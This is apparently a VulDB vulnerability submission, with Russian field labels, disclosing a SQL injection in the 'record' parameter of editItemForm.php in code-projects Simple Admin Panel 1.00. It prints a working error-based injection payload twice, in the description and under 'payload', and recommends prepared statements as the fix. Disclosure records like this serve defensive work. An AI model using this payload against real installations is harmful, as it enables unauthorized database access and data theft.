| Название | code-projects Simple Admin Panel In PHP 1.00 SQL Injection |
|---|
| Описание | The SQL Injection vulnerability exists in file 'editItemForm.php' because the 'record' parameter is directly inserted into the SQL queries without any validation or sanitization. If an attacker inputs malicious SQL code as the 'record' parameter, it will be executed by the database. For example, if the 'record' parameter is set to "1' AND (SELECT 6189 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(6189=6189,1))),0x716a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- bmxZ", it could manipulate the query to return or modify unintended data. Always use prepared statements or parameterized queries to prevent this.
payload:
1' AND (SELECT 6189 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(6189=6189,1))),0x716a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- bmxZ |
|---|
| Источник | ⚠️ https://code-projects.org/simple-admin-panel-in-php-with-source-code/ |
|---|
| Пользователь | Fergod (UID 55882) |
|---|
| Представление | 24.12.2024 00:13 (1 Год назад) |
|---|
| Модерация | 25.12.2024 16:04 (2 days later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 289288 [code-projects Simple Admin Panel 1.0 editItemForm.php record SQL-инъекция] |
|---|
| Баллы | 20 |
|---|